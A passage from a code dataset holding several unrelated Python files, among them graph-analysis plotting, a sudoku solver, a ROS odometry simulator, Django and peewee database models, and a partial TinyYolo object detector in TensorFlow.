'Plots/static_graph.png',\n edge_width=2, **visual_style)\ncmd = \"convert -loop 0 -delay 18 *png Plots/temporal_graph.gif\"\nprocess = subprocess.Popen(cmd, shell=True)\nprocess.wait()\nfor f in glob('*.png'):\n remove(f)\n\n# plot true value graph\ng = graph_from_value_adj(true_value_adj)\n# plot heatmap of graph\nf=sns.plt.figure(figsize = (12,8))\nsns.heatmap(true_value_adj, square=True)\nsns.plt.title('Value Differences Between Nodes', fontsize = 24)\nf.savefig('Plots/value_heatmap.png')\n# plot graph\ng.vs['color'] = colors\nweights = [i**3 for i in g.es['weight']]\n#value_layout = layout\nvalue_layout = g.layout_fruchterman_reingold(weights=weights)\nigraph.plot(g, inline=False, edge_width=weights, layout=value_layout,\n target = 'Plots/value_graph.png',\n **visual_style)\n\n\n\n# plot scatter between true value graph and subjective value graph\nvalue_adjs = {}\nlabeled_nodes = [2,3,4,5,8,9,10]\nsubset_true = true_value_adj.loc[labeled_nodes, labeled_nodes]\nvalue_df = pd.DataFrame({'true': get_lower(subset_true.values)})\nfor subj in valuedata.subjid.unique():\n # plot subject value graph\n subj_rating = dict(valuedata.query('subjid==\"%s\"' % subj) \\\n .groupby('stim_index').rating.mean())\n value_adj = adj_from_judgments(subj_rating)\n if len(np.unique(value_adj)) != 1:\n value_adjs[subj] = value_adj\n value_df.loc[:, subj] = get_lower(value_adj.values)\navg_value_adj = average_adjs(value_adjs)\n\n\n# plot individual heatmaps\nnrows = int(ceil(len(value_adjs)/4.0))\nf, ax = plt.subplots(nrows=nrows, ncols=4,\n figsize=(20, nrows*5))\ni=0\nfor subj,adj in value_adjs.items():\n sns.heatmap(adj, ax=f.axes[i])\n f.axes[i].set_title(subj, fontsize=20)\n i+=1\nplt.tight_layout(rect=[0, 0.03, 1, 0.95])\nplt.suptitle('Individual Value Distances', fontsize=30)\nf.savefig('Plots/Individual_Value_Heatmaps.png')\n\n# plot average heatmap of graph\nf = plt.figure(figsize = (12,8))\nsns.heatmap(avg_value_adj)\nf.savefig('Plots/Average_Value_Heatmaps.png')\n\n# plot correlations between individual subject value graphs and the true graph\nf = plt.figure(figsize = (12,8))\nsns.regplot('true','KL', data = value_df)\nsns.plt.xlabel('True Values', fontsize=20)\nsns.plt.ylabel('Subject Values', fontsize=20)\nf.savefig('Plots/One_Subject_Value_Corr.png')\n\nf = plt.figure(figsize = (12,8))\nsns.heatmap(value_df.corr())\nf.savefig('Plots/Group_Subject_Value_Corr.png')\n\nf = plt.figure(figsize = (12,8))\nsns.plt.hist(analysis['example_clustering_dist'], bins=25)\nsns.plt.xlabel('Within-Community Value Standard Deviation', fontsize=20)\nf.savefig('Plots/Clustering_Hist.png')\n\nf = plt.figure(figsize = (12,8))\nsns.plt.hist(analysis['example_clustering_dist'], bins=25)\nsns.plt.xlabel('Within-Community Value Standard Deviation', fontsize=20)\nsns.plt.axvline(.7,color='r')\nf.savefig('Plots/Clustering_Hist_with_val.png')\n\n\nencodings = pd.DataFrame({'value': value_df.corr().ix[1:,'true']})\nencodings.loc[:,'clustering'] = [analysis['clustering'][s] for s in encodings.index]\nencodings.loc[:,'structure'] = [analysis['structure_coefficients'][s] for s in encodings.index]\n\nf = plt.figure(figsize = (12,8))\nsns.regplot('structure', 'value', data = encodings)\nsns.plt.xlabel('Structure Learning', fontsize=20)\nsns.plt.ylabel('Value Correlation', fontsize=20)\nf.savefig('Plots/Structure_vs_value.png')\n\nf = plt.figure(figsize = (12,8))\nsns.regplot('structure', 'clustering', data = encodings)\nsns.plt.xlabel('Structure Learning', fontsize=20)\nsns.plt.ylabel('Clustering', fontsize=20)\nf.savefig('Plots/Structure_vs_clustering.png')\n\n# graphs\ng = graph_from_value_adj(value_adj)\n# plot graph\ncolors = get_node_colors(subset = g.vs['label'])\ng.vs['color'] = colors\nweights = [w**3*4 for w in g.es['weight']]\n#value_layout = layout\nvalue_layout = g.layout_fruchterman_reingold(weights=g.es[\"weight\"])\nigraph.plot(g, inline=False, edge_width=weights, layout=value_layout,\n **visual_style)\n\n\n\n\n\n\n# plot RT graph\nrelational_matrix = extract_rt_relationships(trials)\ng = igraph.Graph.Weighted_Adjacency(relational_matrix.tolist(), mode='undirected')\nweights = np.array([i for i in g.es['weight']])\nweights = (weights-weights.mean())/weights.std()+3\n\nigraph.plot(g, inline=False, edge_width=weights,\n **visual_style)","sub_path":"analysis/graph_analysis.py","file_name":"graph_analysis.py","file_ext":"py","file_size_in_byte":6086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"442483077","text":"import logging\nimport sys, traceback\n\nlogger = logging.getLogger()\n\n# 异常装饰器\n\n\ndef try_except(functor):\n \"\"\"\n 装饰器 做 try-except 封装\n :param functor:\n :return:\n \"\"\"\n def handle_problems(*args, **kwargs):\n try:\n return functor(*args, **kwargs)\n except Exception as e:\n exc_type, exc_instance, exc_traceback = sys.exc_info()\n formatted_traceback = ''.join(traceback.format_tb(exc_traceback))\n message = 'trace:\\t{0}type:\\t{1}instance:\\t{2}'.format(\n formatted_traceback,\n exc_type.__name__,\n exc_instance\n )\n print(exc_type(message))\n logger.error(\"## failure message: {} trace_back: {}\".format(e, message))\n # 其他你喜欢的操作\n finally:\n pass\n\n return handle_problems\n\n\n@try_except\ndef test(a, b):\n return a / b\n\n\nif __name__ == '__main__':\n print(test(3, 0))\n print(\"ends ...\")\n","sub_path":"爬虫self/Hupu/Hupu/utils/try_except.py","file_name":"try_except.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"141116286","text":"class Publisher:\r\n def __init__(self, title, author):\r\n self.title = title\r\n self.author = author\r\n\r\n def display(self):\r\n print(\"The title is : \", self.title)\r\n print(\"The author is : \", self.author)\r\n\r\n\r\nclass Book(Publisher):\r\n def __init__(self, title, author, price, no_of_pages):\r\n self.price = price\r\n self.no_of_pages = no_of_pages\r\n super().__init__(title, author)\r\n\r\n def display(self):\r\n print()\r\n super().display()\r\n print(\"The price is : \", self.price)\r\n print(\"The no of pages is : \", self.no_of_pages)\r\n\r\n\r\na = input(\"Enter the title: \")\r\nb = input(\"Enter the author: \")\r\nc = int(input(\"Enter the price: \"))\r\nd = int(input(\"Enter the number of pages: \"))\r\nb1 = Book(a, b, c, d)\r\nb1.display()\r\n","sub_path":"cycle-5/prgrm5.py","file_name":"prgrm5.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"221912573","text":"\nfrom random import randint\n\ndef bubble_funk(nums): \n \"\"\"\n Сортування бульбашкою.\n \"\"\"\n swap = True\n while swap:\n swap = False\n for i in range(len(nums) - 1):\n if nums[i] > nums[i + 1]:\n nums[i], nums[i + 1] = nums[i + 1], nums[i]\n swap = True\n\n\nif __name__ == \"__main__\":\n\n random_list = [randint(0, 100) for i in range(10)]\n print(\"Початковий список для сортування:\", random_list, '\\n')\n bubble_funk(random_list) \n print(\"Відсортований список: \", random_list, '\\n')","sub_path":"Lesson_13_DZ_Nichipurenko_A.V/Lesson_13_DZ_1_Nichipurenko_A.V.py","file_name":"Lesson_13_DZ_1_Nichipurenko_A.V.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"273012849","text":"from django.db import models\nfrom django.db.models.signals import pre_save\nfrom django.dispatch import receiver\nfrom django.contrib.auth.models import AbstractUser\n\nCOLOR_CHOICES = (\n ('yellow', 'Yellow'),\n ('red', 'Red'),\n ('blue', 'Blue'),\n ('green', 'Green'),\n ('pink', 'Pink'),\n ('gray', 'Gray'),\n ('black', 'Black'),\n ('orange', 'Orange'),\n)\n\nclass Settings(models.Model):\n color = models.CharField(max_length=16, choices=COLOR_CHOICES, default='red')\n\n class Meta:\n verbose_name_plural = 'Settings'\n\nclass Account(AbstractUser):\n birthday = models.DateTimeField(null=True, blank=True)\n points = models.PositiveIntegerField(default=500)\n image = models.ImageField(upload_to='profile_image', blank=True)\n\n settings = models.OneToOneField('accounts.Settings', on_delete=models.CASCADE)\n\n@receiver(pre_save, sender=Account)\ndef create_account_settings(sender, instance, *args, **kwargs):\n if not hasattr(instance, 'settings'):\n instance.settings = Settings.objects.create(account=instance)\n","sub_path":"accounts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"167645258","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'James Z'\n'''\n获取 12.10~12.18 的ui交互对的特征向量\n'''\nimport csv\nnum = 0\n\n\nui_set = set()\n\nfor line in csv.reader(file('./tianchi_fresh_comp_train_user.csv', 'rb')):\n if num == 0:\n num = num + 1\n continue\n time_slot = line[5].split(' ')[0].split('-')\n month = int(time_slot[1])\n day = int(time_slot[2])\n dis_day = (12 - month) * 30 + (19 - day)\n if dis_day <= 9:# 12.10~12.18\n ui_set.add((line[0], line[1]))\n\ncsvfile = file('test_data_feature.csv', 'wb')\nwriter = csv.writer(csvfile)\n\nwith open('./data_feature.csv', 'rb') as reader:\n\tfor line in reader:\n\t\tif (line[0], line[1]) in ui_set:\n\t\t\twriter.writerow(line[2:])\n\ncsvfile.close()","sub_path":"produce_test_data.py","file_name":"produce_test_data.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"299770702","text":"#!/usr/bin/env python\n\nfrom math import sin, cos\n\n#pylint: disable=import-error\nimport rospy\nimport tf\n\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import Quaternion, Twist, PointStamped, Point, PoseWithCovarianceStamped\n\nclass Vec():\n \"\"\"\n A small vector class to make some of the movement math cleaner\n \"\"\"\n\n def __init__(self, x, y, th):\n self.x = x\n self.y = y\n self.th = th\n\n def __add__(self, other):\n if isinstance(other, Vec):\n return Vec(self.x + other.x, self.y + other.y, self.th + other.th)\n else:\n return Vec(self.x + other, self.y + other, self.th + other)\n\n def __mul__(self, other):\n if isinstance(other, Vec):\n return Vec(self.x * other.x, self.y * other.y, self.th * other.th)\n else:\n return Vec(self.x * other, self.y * other, self.th * other)\n\n def toPoint(self):\n return Point(self.x, self.y, 0)\n\n def toQuat(self):\n q = tf.transformations.quaternion_from_euler(0, 0, self.th)\n return Quaternion(*q)\n\n def toTwist(self):\n t = Twist()\n t.linear.x = self.x\n t.linear.y = self.y\n t.angular.z = self.th\n return t\n\n\n\nclass Robot:\n\n def __init__(self, x, y, name, speed=1.0):\n self.loc = Odometry()\n self.loc.header.frame_id = 'map'\n self.loc.child_frame_id = name\n self.vel = Vec(0,0,0)\n self.pos = Vec(x,y,0)\n self.speed = speed\n\n def setVel(self, twist):\n self.vel = Vec(twist.linear.x,\n twist.linear.y,\n twist.angular.z) * self.speed\n\n def decelerate(self, amount):\n self.vel = self.vel * amount\n\n def setPose(self, pose):\n self.setPosition(pose.position)\n self.setOrientation(pose.orientation)\n\n def setPosition(self, point):\n self.pos = Vec(point.x, point.y, self.pos.th)\n\n def setOrientation(self, quat):\n q = [quat.x, quat.y, quat.z, quat.w]\n # returns roll, pitch, yaw. We only need yaw\n _, _, yaw = tf.transformations.euler_from_quaternion(q)\n self.pos.th = yaw\n\n\n def update(self, dt):\n # Compute delta\n # https://wiki.ros.org/navigation/Tutorials/RobotSetup/Odom\n d = Vec((self.vel.x * cos(self.pos.th) - self.vel.y * sin(self.pos.th)) * dt,\n (self.vel.x * sin(self.pos.th) + self.vel.y * cos(self.pos.th)) * dt,\n self.vel.th * dt)\n\n # Apply delta\n self.pos = self.pos + d\n\n def getOdom(self, stamp):\n self.loc.header.stamp = stamp\n self.loc.pose.pose.position = self.pos.toPoint()\n self.loc.pose.pose.orientation = self.pos.toQuat()\n self.loc.twist.twist = self.vel.toTwist() # Velocity\n return self.loc\n\n\nif __name__ == '__main__':\n rospy.init_node('odom_sim', anonymous=True)\n\n # Load the name of the robot\n try:\n ugv_id = rospy.get_param('~ugv_id')\n except KeyError:\n raise ValueError('odom_sim.py requires \"ugv_id\" param')\n\n robot = Robot(-16, -40, name=ugv_id, speed=2.0)\n\n # Robot location publisher\n pub = rospy.Publisher('/{}/odom'.format(ugv_id), Odometry, queue_size=10)\n # cmd_vel subscriber\n sub = rospy.Subscriber('/{}/cmd_vel'.format(ugv_id), Twist, robot.setVel)\n # Location reset subscriber\n reset_point_sub = rospy.Subscriber('/{}/set_pose'.format(ugv_id), PoseWithCovarianceStamped, lambda x: robot.setPose(x.pose.pose))\n\n limiter = rospy.Rate(20)\n current_time = rospy.Time.now()\n prev_time = current_time\n\n while not rospy.is_shutdown():\n current_time = rospy.Time.now()\n delta_t = (current_time - prev_time).to_sec()\n\n robot.update(delta_t)\n robot.decelerate(0.95)\n\n prev_time = current_time\n pub.publish( robot.getOdom(current_time))\n limiter.sleep()\n","sub_path":"scripts/odom_sim.py","file_name":"odom_sim.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"543974249","text":"import time\n\n\ndef is_valid(board: list, row: int, col: int, num: int) -> bool:\n \"\"\"Check to see if a specified number in the board is a valid number\n (does not repeat horizontally, vertically, or in the same 9-square grid).\"\"\"\n\n # Check the row.\n for i in board[row]:\n if i == num:\n return False\n\n # Check the column.\n for i in range(9):\n if board[i][col] == num:\n return False\n\n # Check the square.\n m = row // 3\n n = col // 3\n for i in range(3):\n for j in range(3):\n if board[i + (3 * m)][j + (3 * n)] == num:\n return False\n\n return True\n\n\ndef find_empty(board: list) -> (int, int) or None:\n \"\"\"Find the next empty spot in the board.\n Return (row, col) or None if no empty spots are found.\"\"\"\n\n for row in range(9):\n for col in range(9):\n if board[row][col] == 0:\n return row, col\n return None\n\n\ndef solve(board: list) -> bool:\n \"\"\"Solve the sudoku board recursively using a backtracking algorithm.\"\"\"\n\n coordinates = find_empty(board)\n if not coordinates:\n return True\n\n row, col = coordinates\n for i in range(1, 10):\n if is_valid(board, row, col, i):\n board[row][col] = i\n\n if solve(board):\n return True\n\n board[row][col] = 0\n\n return False\n\n\ndef print_board(board: list) -> None:\n \"\"\"Formats and prints out the sudoku board.\"\"\"\n print()\n for j, row in enumerate(board, 1):\n for i, n in enumerate(row, 1):\n print(n, ' ', end='')\n if i == 3 or i == 6:\n print('| ', end='')\n print()\n if j % 3 == 0 and j != 9:\n print('- - - - - - - - - - - - - - - -')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"126109916","text":"from frobenius_loader import *\nfrom a_ij_loader import *\nimport os\n\n## LOAD DATA\n# frobenian elements\nfiles = [f for f in os.listdir() if f[:2]=='a_' and f[-4:]=='.txt'][:-1]\n\nout_file = open('to_analyse.txt', 'w')\nout_file.write(\"#i,j,filename\\n\")\n\n#iterate through files\nfor file in files:\n print(\"\\n\\n\\t\"+file)\n conjugacy_classes = galois_conjugacy_classes(file)\n galois_ident = galois_group_id(file)\n galois_name = group_name(galois_ident)\n extension_name = full_extension(file, form=2)\n\n # Galois group identification\n print(\"\\t Galois group identification:\")\n print(\"In GAP4:\", galois_ident)\n print(\"Name:\", galois_name)\n print()\n\n \n #iterate through i+j=3\n for I,J in [(0,1), (1,0), \\\n (2,0), (1,1), (0,2), \\\n (3,0), (2,1), (1,2), (0,3), \\\n (4,0), (3,1), (2,2), (1,3), (0,4), \\\n (5,0), (4,1), (3,2), (2,3), (1,4), (0,5), ]:\n i = int(os.getcwd()[-2:-1]) + I\n j = int(os.getcwd()[-1:]) + J\n print(\"a_\",i,',',j,':', sep='', end=' ')\n # a_ij\n primes1, primes0, primes_undefined = a_ij(i,j)\n\n #init frob lists\n frobenius0 = list()\n frobenius1 = list()\n\n #fill 1-primes frob elements\n for p in primes1:\n #load element\n F_p = frobenius_of_prime(p, file)\n # we add it to the list of 0-primes frob\n found=False\n for F in frobenius1:\n if same_conjugacy_classes(F_p, F, conjugacy_classes):\n found=True\n break\n if found:\n pass\n else:\n frobenius1.append(F_p)\n\n wrong = False\n\n #fill 0-primes frob elements\n for p in primes0:\n #load element\n F_p = frobenius_of_prime(p, file)\n # check it is not conjugate to a frob of a 1-prime\n found=False\n for F in frobenius1:\n if same_conjugacy_classes(F_p, F, conjugacy_classes):\n found=True\n break\n if found:\n # if it is, there is a problem for this prime\n print(p, \"wrong conjugacy class\")\n wrong = True\n #print(F_p)\n break\n else:\n # if not, we add it to the list of 0-primes frob\n found=False\n for F in frobenius0:\n if same_conjugacy_classes(F_p, F, conjugacy_classes):\n found=True\n break\n if found:\n pass\n else:\n frobenius0.append(F_p)\n if not wrong:\n print() # no wrong conjugacy class\n out_file.write(str(i)+','+str(j)+','+file+'\\n')\n\nout_file.close()\n\n","sub_path":"GoverningFields/guessGoverningFields/K_40/working_extensions.py","file_name":"working_extensions.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"176863070","text":"from peewee import *\n\n\n# db = SqliteQueueDatabase('app/options.db')\ndb = PostgresqlDatabase(\n 'options',\n user='postgres',\n password='mysecretpassword',\n host='127.0.0.1'\n)\n\n\nclass Company(Model):\n name = CharField()\n ticker = CharField()\n\n class Meta:\n database = db\n\nuniq_company_name_idx = ModelIndex(Company, (Company.name,), unique=True)\nCompany.add_index(uniq_company_name_idx)\n\n\nclass Statistic(Model):\n company = ForeignKeyField(Company, backref='stats')\n date = DateField()\n func = CharField()\n value = FloatField()\n\n class Meta:\n database = db\n\nuniq_stat_per_day_idx = ModelIndex(\n Statistic,\n (Statistic.company, Statistic.func, Statistic.date),\n unique=True\n)\nStatistic.add_index(uniq_stat_per_day_idx)\n\n\nclass Marker(Model):\n company = ForeignKeyField(Company, backref='markers')\n date = DateField()\n marker_type = CharField()\n\n class Meta:\n database = db\n\nuniq_marker_per_day_idx = ModelIndex(\n Marker,\n (Marker.company, Marker.date, Marker.marker_type),\n unique=True\n)\nMarker.add_index(uniq_marker_per_day_idx)\n\n\nclass ExtractStatus(Model):\n company = ForeignKeyField(Company, backref='extract_statuses')\n extraction_type = CharField()\n extracted_until = DateTimeField()\n last_successful_extraction_time = DateTimeField()\n error_message = CharField(null = True)\n extracting_now = BooleanField(default = False)\n\n class Meta:\n database = db\n\n\nclass DataSource(Model):\n name = CharField()\n\n class Meta:\n database = db\n\n\nclass RequestLog(Model):\n data_source = ForeignKeyField(DataSource, backref='request_logs')\n request_time = DateTimeField()\n url = CharField()\n\n class Meta:\n database = db\n\n\nrequest_time_idx = ModelIndex(\n RequestLog,\n (RequestLog.data_source, RequestLog.request_time)\n)\nRequestLog.add_index(request_time_idx)\n\n\ndb.connect()\ndb.create_tables([\n Company,\n DataSource,\n ExtractStatus,\n Marker,\n RequestLog,\n Statistic\n])\n","sub_path":"server/app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"439547427","text":"import sys\nsys.stdin = open('least_num.txt')\n\ndef cal(y):\n global s_res, res\n\n if res < s_res:\n return\n\n if y == N:\n if s_res < res:\n res = s_res\n return\n\n for visc in range(N):\n if not vs[visc]:\n vs[visc] = True\n s_res += lt[y][visc]\n cal(y+1)\n vs[visc] = False\n s_res -= lt[y][visc]\n\nT = int(input())\nfor tc in range(1, T+1):\n N = int(input())\n lt = [list(map(int, input().split())) for _ in range(N)]\n vs = [0]*N\n s_res, res = 0, 987654321\n cal(0)\n\n print('#{} {}'.format(tc, res))","sub_path":"류재헌_0827.stack2/least_num.py","file_name":"least_num.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"595929126","text":"# -*- coding: utf8 -*-\r\n# author: ronniecao\r\nfrom __future__ import print_function\r\nimport sys\r\nimport os\r\nimport time\r\nimport math\r\nimport numpy\r\nimport matplotlib.pyplot as plt\r\nimport cv2\r\nimport tensorflow as tf\r\nfrom src.layer.conv_layer import ConvLayer\r\nfrom src.layer.dense_layer import DenseLayer\r\nfrom src.layer.pool_layer import PoolLayer\r\n\r\n\r\nclass TinyYolo():\r\n \r\n def __init__(self, n_channel, n_classes, image_size, max_objects_per_image,\r\n cell_size, box_per_cell, object_scale, noobject_scale,\r\n coord_scale, class_scale, batch_size, noobject_thresh=0.6,\r\n recall_thresh=0.5, pred_thresh=0.5, nms_thresh=0.4):\r\n # 设置参数\r\n self.n_classes = n_classes\r\n self.image_size = image_size\r\n self.n_channel = n_channel\r\n self.max_objects = max_objects_per_image\r\n self.cell_size = cell_size\r\n self.n_boxes = box_per_cell\r\n self.object_scale = float(object_scale)\r\n self.noobject_scale = float(noobject_scale)\r\n self.coord_scale = float(coord_scale)\r\n self.class_scale = float(class_scale)\r\n self.batch_size = batch_size\r\n self.noobject_thresh = noobject_thresh\r\n self.recall_thresh = recall_thresh\r\n self.pred_thresh = pred_thresh\r\n self.nms_thresh = nms_thresh\r\n \r\n # 输入变量\r\n self.images = tf.placeholder(\r\n dtype=tf.float32, shape=[\r\n self.batch_size, self.image_size, self.image_size, self.n_channel], \r\n name='images')\r\n self.box_labels = tf.placeholder(\r\n dtype=tf.float32, shape=[\r\n self.batch_size, self.max_objects, 5], \r\n name='box_labels')\r\n self.object_nums = tf.placeholder(\r\n dtype=tf.int32, shape=[self.batch_size, ],\r\n name='object_nums')\r\n self.keep_prob = tf.placeholder(dtype=tf.float32, name='keep_prob')\r\n \r\n self.global_step = tf.Variable(0, dtype=tf.int32, name='global_step')\r\n \r\n # 待输出的中间变量\r\n self.logits = self.inference(self.images)\r\n self.coord_loss, self.object_loss, self.noobject_loss, self.class_loss, \\\r\n self.iou_value, self.object_value, self.nobject_value, \\\r\n self.recall_value, self.class_value = \\\r\n self.calculate_loss(self.logits)\r\n \r\n # 目标函数和优化器\r\n tf.add_to_collection('losses', self.coord_loss)\r\n tf.add_to_collection('losses', self.object_loss)\r\n tf.add_to_collection('losses', self.noobject_loss)\r\n tf.add_to_collection('losses', self.class_loss)\r\n self.avg_loss = tf.add_n(tf.get_collection('losses'))\r\n \r\n # 设置学习率\r\n lr = tf.cond(tf.less(self.global_step, 100),\r\n lambda: tf.constant(0.001),\r\n lambda: tf.cond(tf.less(self.global_step, 80000),\r\n lambda: tf.constant(0.01),\r\n lambda: tf.cond(tf.less(self.global_step, 100000),\r\n lambda: tf.constant(0.001),\r\n lambda: tf.constant(0.0001))))\r\n self.optimizer = tf.train.MomentumOptimizer(\r\n learning_rate=0.001, momentum=0.9).minimize(\r\n self.avg_loss, global_step=self.global_step)\r\n \r\n def inference(self, images):\r\n # 网络结构\r\n conv_layer1 = ConvLayer(\r\n input_shape=(self.batch_size, self.image_size, self.image_size, self.n_channel), \r\n n_size=3, n_filter=16, stride=1, activation='leaky_relu', \r\n batch_normal=True, weight_decay=5e-4, name='conv1')\r\n pool_layer1 = PoolLayer(\r\n input_shape=(self.batch_size, self.image_size, self.image_size, 16),\r\n n_size=2, stride=2, mode='max', resp_normal=False, name='pool1')\r\n \r\n conv_layer2 = ConvLayer(\r\n input_shape=(self.batch_size, int(self.image_size/2), int(self.image_size/2), 16), \r\n n_size=3, n_filter=32, stride=1, activation='leaky_relu',\r\n batch_normal=True, weight_decay=5e-4, name='conv2')\r\n pool_layer2 = PoolLayer(\r\n input_shape=(self.batch_size, int(self.image_size/2), int(self.image_size/2), 32),\r\n n_size=2, stride=2, mode='max', resp_normal=False, name='pool2')\r\n \r\n conv_layer3 = ConvLayer(\r\n input_shape=(self.batch_size, int(self.image_size/4), int(self.image_size/4), 32), \r\n n_size=3, n_filter=64, stride=1, activation='leaky_relu',\r\n batch_normal=True, weight_decay=5e-4, name='conv3')\r\n pool_layer3 = PoolLayer(\r\n input_shape=(self.batch_size, int(self.image_size/4), int(self.image_size/4), 64),\r\n n_size=2, stride=2, mode='max', resp_normal=False, name='pool3')\r\n \r\n conv_layer4 = ConvLayer(\r\n input_shape=(self.batch_size, int(self.image_size/8), int(self.image_size/8), 64), \r\n n_size=3, n_filter=128, stride=1, activation='leaky_relu',\r\n batch_normal=True, weight_decay=5e-4, name='conv4')\r\n pool_layer4 = PoolLayer(\r\n input_shape=(self.batch_size, int(self.image_size/8), int(self.image_size/8), 128),\r\n n_size=2, stride=2, mode='max', resp_normal=False, name='pool4')\r\n \r\n conv_layer5 = ConvLayer(\r\n input_shape=(self.batch_size, int(self.image_size/16), int(self.image_size/16), 128), \r\n n_size=3, n_filter=256, stride=1, activation='leaky_relu',\r\n batch_normal=True, weight_decay=5e-4, name='conv5')\r\n pool_layer5 = PoolLayer(\r\n input_shape=(self.batch_size, int(self.image_size/16), int(self.image_size/16), 256),\r\n n_size=2, stride=2, mode='max', resp_normal=False, name='pool5')\r\n \r\n conv_layer6 = ConvLayer(\r\n input_shape=(self.batch_size, int(self.image_size/32), int(self.image_size/32), 256), \r\n n_size=3, n_filter=512, stride=1, activation='leaky_relu',\r\n batch_normal=True, weight_decay=5e-4, name='conv6')\r\n pool_layer6 = PoolLayer(\r\n input_shape=(self.batch_size, int(self.image_size/32), int(self.image_size/32), 512),\r\n n_size=2, stride=2, mode='max', resp_normal=False, name='pool6')\r\n \r\n conv_layer7 = ConvLayer(\r\n input_shape=(self.batch_size, int(self.image_size/64), int(self.image_size/64), 512), \r\n n_size=3, n_filter=1024, stride=1, activation='leaky_relu',\r\n batch_normal=True, weight_decay=5e-4, name='conv7')\r\n conv_layer8 = ConvLayer(\r\n input_shape=(self.batch_size, int(self.image_size/64), int(self.image_size/64), 1024), \r\n n_size=3, n_filter=1024, stride=1, activation='leaky_relu',\r\n batch_normal=True, weight_decay=5e-4, name='conv8')\r\n conv_layer9 = ConvLayer(\r\n input_shape=(self.batch_size, int(self.image_size/64), int(self.image_size/64), 1024), \r\n n_size=1, n_filter=self.n_boxes*(5+self.n_classes), stride=1, activation='none',\r\n batch_normal=False, weight_decay=5e-4, name='conv9')\r\n \r\n # 数据流\r\n print('\\n%-10s\\t%-20s\\t%-20s\\t%s' % (\r\n 'Name', 'Filter', 'Input', 'Output'))\r\n hidden_conv1 = conv_layer1.get_output(input=images)\r\n hidden_pool1 = pool_layer1.get_output(input=hidden_conv1)\r\n \r\n hidden_conv2 = conv_layer2.get_output(input=hidden_pool1)\r\n hidden_pool2 = pool_layer2.get_output(input=hidden_conv2)\r\n \r\n hidden_conv3 = conv_layer3.get_output(input=hidden_pool2)\r\n hidden_pool3 = pool_layer3.get_output(input=hidden_conv3)\r\n \r\n hidden_conv4 = conv_layer4.get_output(input=hidden_pool3)\r\n hidden_pool4 = pool_layer4.get_output(input=hidden_conv4)\r\n \r\n hidden_conv5 = conv_layer5.get_output(input=hidden_pool4)\r\n hidden_pool5 = pool_layer5.get_output(input=hidden_conv5)\r\n \r\n hidden_conv6 = conv_layer6.get_output(input=hidden_pool5)\r\n hidden_pool6 = pool_layer6.get_output(input=hidden_conv6)\r\n \r\n hidden_conv7 = conv_layer7.get_output(input=hidden_pool6)\r\n hidden_conv8 = conv_layer8.get_output(input=hidden_conv7)\r\n hidden_conv9 = conv_layer9.get_output(input=hidden_conv8)\r\n \r\n logits = hidden_conv9\r\n \r\n print()\r\n sys.stdout.flush()\r\n # 网络输出\r\n \r\n logits = tf.reshape(logits, shape=[\r\n self.batch_size, self.cell_size, self.cell_size, self.n_boxes, 5+self.n_classes])\r\n logits = tf.concat(\r\n [tf.sigmoid(logits[:,:,:,:,0:5]), tf.nn.softmax(logits[:,:,:,:,5:])], axis=4)\r\n \r\n return logits\r\n \r\n def calculate_loss(self, logits):\r\n # 获取class_pred和box_pred\r\n self.box_preds = logits\r\n \r\n # 循环每一个example\r\n results = tf.while_loop(\r\n cond=self._one_example_cond, \r\n body=self._one_example_body, \r\n loop_vars=[tf.constant(0), self.batch_size,\r\n tf.constant(0.0), tf.constant(0.0), tf.constant(0.0), tf.constant(0.0),\r\n tf.constant(0.0), tf.constant(0.0), tf.constant(0.0), \r\n tf.constant(0.0), tf.constant(0.0)])\r\n coord_loss = results[2]\r\n object_loss = results[3]\r\n noobject_loss = results[4]\r\n class_loss = results[5]\r\n iou_value = results[6]\r\n object_value = results[7]\r\n anyobject_value = results[8]\r\n recall_value = results[9]\r\n class_value = results[10]\r\n \r\n # 目标函数值\r\n coord_loss = coord_loss * self.coord_scale / self.batch_size\r\n object_loss = object_loss * self.object_scale / self.batch_size\r\n noobject_loss = noobject_loss * self.noobject_scale / self.batch_size\r\n class_loss = class_loss * self.class_scale / self.batch_size\r\n # 观察值\r\n iou_value /= tf.reduce_sum(tf.cast(self.object_nums, tf.float32), axis=[0])\r\n object_value /= tf.reduce_sum(tf.cast(self.object_nums, tf.float32), axis=[0])\r\n anyobject_value /= (self.batch_size * self.cell_size * self.cell_size * self.n_boxes)\r\n recall_value /= tf.reduce_sum(tf.cast(self.object_nums, tf.float32), axis=[0])\r\n class_value /= tf.reduce_sum(tf.cast(self.object_nums, tf.float32), axis=[0])\r\n \r\n return coord_loss, object_loss, noobject_loss, class_loss, \\\r\n iou_value, object_value, anyobject_value, recall_value, class_value\r\n \r\n def _one_example_cond(self, example, batch_size, \r\n coord_loss, object_loss, noobject_loss, class_loss,\r\n iou_value, object_value, anyobject_value, recall_value, class_value):\r\n \r\n return example < batch_size\r\n \r\n def _one_example_body(self, example, batch_size, \r\n coord_loss, object_loss, noobject_loss, 